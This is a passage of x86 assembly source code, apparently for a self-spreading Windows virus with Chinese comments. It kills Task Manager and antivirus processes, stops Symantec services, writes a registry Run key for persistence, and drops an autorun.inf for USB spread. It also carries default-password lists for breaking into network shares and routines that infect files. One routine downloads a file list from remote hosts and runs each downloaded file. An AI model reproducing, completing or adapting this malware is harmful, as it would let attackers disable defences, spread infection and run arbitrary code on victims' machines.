.endif
.endif
.endif
.if al
inc esi
inc esi
inc edi
.endif
.endw
.if byte ptr [esi] && byte ptr [edi]
mov al, 1
.else
xor eax, eax
.endif
pop edi
pop esi
ret
stricmp endp
;----------------------------------------------
dealProcess proc
push edi
mov cl, 1
mov ebx, edi
push 1
int 3
.while ecx ;------------------------2
mov ecx, dword ptr [ebx]
mov edi, ebx
add edi, 03ch
xor eax, eax
.if dword ptr [edi] ;--------------------3
push dword ptr [edi]
lea edx, [ebp + offset virname]
push edx
call stricmp
.if eax == 0 ;-----------4
pop eax
push 0
.else ;start kill software
lea edx, [ebp + _killSoftName]
.while byte ptr [edx] ;---1
push dword ptr [edi]
push edx
call stricmp
push edx
.if eax == 0
int 3
push ecx
push dword ptr [ebx + 44H]
push 0
push PROCESS_ALL_ACCESS + PROCESS_TERMINATE
call [ebp + _OpenProcess]
.if eax
push eax
push 0
push eax
call [ebp + _TerminateProcess]
call [ebp + _CloseHandle]
.endif
pop ecx
.endif
pop edx
.while byte ptr [edx]
inc edx
.endw
inc edx
.endw ;-----1
.endif ;--------------4
.endif ;--------------------3
add ebx, ecx
.endw ;----------2
pop eax
pop edi
ret
dealProcess endp
;------------------------------------------------
CheckCurrentExist Proc ; 0 存在 1 不存在
push ebx
push edx
push edi
push ecx
mov ecx, 2000H
mov edi, esp
sub esp, 10H
mov ebx, esp
push edi
@@CheckCurrentExist_retry:
push ecx
push ecx
push ecx
push 40H
call [ebp +_GlobalAlloc]
mov edi, eax
.if eax == 0
pop eax
lea eax, [ebp + @@CheckCurrentExist_out]
jmp eax
.endif
pop ecx
push ebx
push ecx
push edi
push 5
call [ebp + _NtQuerySystemInformation]
int 3
.if eax == 0c0000004H
push edi
call [ebp + _GlobalFree]
pop ecx
add ecx, 1000H
lea eax, [ebp + @@CheckCurrentExist_retry]
jmp eax
.endif
.if eax == 0
call dealProcess
.endif
@@CheckCurrentExist_out:
.if edi
push eax
push edi
call [ebp + _GlobalFree]
pop eax
.endif
pop ecx
pop esp
pop ecx
pop edi
pop edx
pop ebx
ret
CheckCurrentExist endp ;----------------------------------------
DownFileFromNet proc
push ebx
push edi
mov ebx, esp
sub esp, 1010H
mov edi, esp
push ebx
lea ebx, [ebp + _downFileList]
mov al, 1
.while eax && byte ptr [ebx]
mov dword ptr [edi], 'n\:c'
mov dword ptr [edi + 4], 'ld.'
push 0
push 0
push edi
push ebx
push 0
call [ebp + _URLDownloadToFile]
.if eax
.while byte ptr [ebx]
inc ebx
.endw
inc ebx
.else
push edi
mov eax, edi
push 0
push 80H
push 3
push 0
push 0
push GENERIC_READ
push eax
call [ebp + _CreateFile]
.if eax != -1
add edi, 10H
push eax
push 0
lea eax, [esi + tempword]
push eax
push ecx
push edi
push ebx
call [esi + _ReadFile]
call [esi + _CloseHandle]
.while byte ptr [edx]
mov eax, edx
.while byte ptr [edx]
inc edx
.endw
inc edx
.if byte ptr [edx]
push 0
push 0
push edx
push eax
push 0
call [ebp + _URLDownloadToFile]
.if eax
push 0
push edx
call [ebp + _WinExec]
.endif
.while byte ptr [edx]
inc edx
.endw
inc edx
.endif
.endw
.endif
call [ebp + _DeleteFile]
xor eax, eax
.endif
.endw
pop esp
pop edi
pop ebx
ret
DownFileFromNet endp
;----------------------------------------
StopServiceAndWriteRun proc
push ebx
push edx
mov edx, esp
sub esp, 20H
mov ebx, esp
push edx
push ebx
push KEY_SET_VALUE + KEY_WRITE
push 0
lea edx, [ebp + _runKey]
push edx
push 80000002H
call [ebp + _RegOpenKeyEx]
.if eax
push offset virdll - offset virname
lea edx, [ebp + virname]
push edx
push 1
push 0
lea edx, [ebp + _runKeyName]
push edx
push dword ptr [ebx]
call [ebp + _RegSetValueEx]
push dword ptr [ebx]
call [ebp + _RegCloseKey]
.endif
push SC_MANAGER_ALL_ACCESS
push 0
push 0
call [ebp + _OpenSCManager]
.if eax
push eax
mov dword ptr [ebx], eax
lea edx, [ebp + _StopServiceName]
.while byte ptr [edx]
push edx
push SERVICE_ALL_ACCESS + SERVICE_STOP
push edx
push dword ptr [ebx]
call [ebp + _OpenService]
.if eax
push eax
lea edx, [ebx + 4]
push edx
push 1
push eax
call [ebp + _ControlService]
call [ebp + _CloseServiceHandle]
.endif
pop edx
.while byte ptr [edx]
inc edx
.endw
inc edx
.endw
call [ebp + _CloseServiceHandle]
.endif
pop esp
pop edx
pop ebx
ret
StopServiceAndWriteRun endp
;---------------自身进程---------------------------
shortTimeSelfFun proc
call StopServiceAndWriteRun
call movabledisk
push 1000 * 60
call [ebp + _Sleep]
ret
shortTimeSelfFun endp
;----------------自身启的线程-----------
longTimeSelfFun proc
call InfectNetFile
call DownFileFromNet
push ebp
call InfectFile
push 24 * 60 * 60 * 1000
call [ebp + _Sleep] ret
longTimeSelfFun endp
;------------后启的线程------------------
InfectfileFun proc
push ebp
call CreateVirusExe
push 2 * 60 * 1000
call [ebp + _Sleep]
ret
InfectfileFun endp
;-----------------------------------------------------------------
;------------------remove--begin-------------------
checkPoint proc uses edx, lpAddr : DWORD, funAddress : DWORD
push 0
push 0
push lpAddr
push 0
call funAddress
ret
checkPoint endp
;----------------remove end-----------------
;-----------file head paramter---------
_dwImageBase dd 400000h
_dwOrgEntry dd 0
_dwKernelBase dd 0 ;-----------Kernel fun address----------------
_GetProcAddress dd 0
_LoadLibraryA dd 0
szKernel32 db "Kernel32.dll",0
szGetModuleHandle db "GetModuleHandleA",0
_GetModuleHandle dd 0
szFreeLibrary db "FreeLibrary",0
_FreeLibrary dd 0
szVirtualProtect db "VirtualProtect",0
_VirtualProtect dd 0
szGetModuleFileName db "GetModuleFileNameA",0
_GetModuleFileName dd 0
szCreateFile db "CreateFileA",0
_CreateFile dd 0
szReadFile db "ReadFile",0
_ReadFile dd 0
szWriteFile db "WriteFile",0
_WriteFile dd 0
szGetFileSize db "GetFileSize",0
_GetFileSize dd 0
szCloseHandle db "CloseHandle",0
_CloseHandle dd 0
szCreateRemoteThread db "CreateRemoteThread",0
_CreateRemoteThread dd 0
szVirtualAllocEx db "VirtualAllocEx",0
_VirtualAllocEx dd 0
szVirtualFree db "VirtualFree",0
_VirtualFree dd 0
szWriteProcessMemory db "WriteProcessMemory",0
_WriteProcessMemory dd 0
szOpenProcess db "OpenProcess",0
_OpenProcess dd 0
szCreateProcess db "CreateProcess",0
_CreateProcess dd 0
szTerminateProcess db "TerminateProcess",0
_TerminateProcess dd 0
szCreateThread db "CreateThread",0
_CreateThread dd 0
szSleep db "Sleep",0
_Sleep dd 0
szCreatePipe db "CreatePipe",0
_CreatePipe dd 0
szGlobalAlloc db "GlobalAlloc",0
_GlobalAlloc dd 0
szGlobalFree db "GlobalFree",0
_GlobalFree dd 0
szSetFilePointer db "SetFilePointer",0
_SetFilePointer dd 0
szFindFirstFile db "FindFirstFileA",0
_FindFirstFile dd 0
szFindNextFile db "FindNextFileA",0
_FindNextFile dd 0
szFindClose db "FindClose",0
_FindClose dd 0
szWinExec db "WinExec",0
_WinExec dd 0
szGetSystemDirectory db "GetSystemDirectoryA", 0
_GetSystemDirectory dd 0
szGetDriveType db "GetDriveTypeA",0
_GetDriveType dd 0
szSetFileTime db "SetFileTime",0
_SetFileTime dd 0
szSetFileAttributes db "SetFileAttributesA",0
_SetFileAttributes dd 0
szGetFileAttributesEx db "GetFileAttributesExA",0
_GetFileAttributesEx dd 0
szDeleteFile db "DeleteFileA",0
_DeleteFile dd 0 szGetLastError db "GetLastError",0
_GetLastError dd 0 ;---------------Ntdll fun address------------------
szNtdll db "Ntdll.dll",0
szNtQuerySystemInformation db "NtQuerySystemInformation",0
_NtQuerySystemInformation dd 0 ;--------------user32.dll fun address--------------------
szUser32 db "user32.dll",0 szFindWindowEx db "FindWindowExA",0
_FindWindowEx dd 0
;-------------Mpr.dll fun address-----------------------
szMpr db "Mpr.dll",0
szWNetOpenEnum db "WNetOpenEnumA",0
_WNetOpenEnum dd 0
szWNetEnumResource db "WNetEnumResourceA",0
_WNetEnumResource dd 0
szWNetAddConnection2 db "WNetAddConnection2A",0
_WNetAddConnection2 dd 0
szWNetCloseEnum db "WNetCloseEnum",0
_WNetCloseEnum dd 0
;-------------Advapi32.dll fun address-------------
szAdvapi32 db "Advapi32.dll",0
szOpenSCManager db "OpenSCManagerA",0
_OpenSCManager dd 0
szOpenService db "OpenServiceA",0
_OpenService dd 0
szControlService db "ControlService",0
_ControlService dd 0
szCloseServiceHandle db "CloseServiceHandle",0
_CloseServiceHandle dd 0
szRegOpenKeyEx db "RegOpenKeyExA",0
_RegOpenKeyEx dd 0
szRegSetValueEx db "RegSetValueExA",0
_RegSetValueEx dd 0
szRegCloseKey db "RegCloseKey",0
_RegCloseKey dd 0 ;------------------urlmon.dll fun address--------------
szurlmon db "urlmon.dll",0
szURLDownloadToFile db "URLDownloadToFileA",0
_URLDownloadToFile dd 0
;---------------------------------------------------
_runKeyName db "vApp",0
_runKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
_autoruncontent db "[autorun]",0dh,0ah,"open="
virname db "sopl.scr",0
virdll db "sopl.dll",0
_autorun db "autorun.inf",0
runPosition db 0
_website db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
_website_end db 0
_killSoftName db "taskmgr.exe",0
db "VPTray.exe",0
db 0
_tryUserName db "admin",0
db "guest",0
db 0
_tryPassword db "123456",0
db "admin",0
db "guest",0
db 0
_downFileList db "www.sina.com.cn",0
db "www.sohu.com",0
db "www.163.com",0
db 0
_StopServiceName db "Symantec AntiVirus",0
db "SavRoam",0
db 0
;------------------remove begin-----------------
szmm db "MessageBoxA",0
_mm dd 0
;------------------remove end--------------------
tempword db 'czj1' ournasdfasdf:
PROGRAM_END:
push 0
push 0
call GetProcAddress
push 0
call LoadLibraryA
;--ournasdfasdf:
END main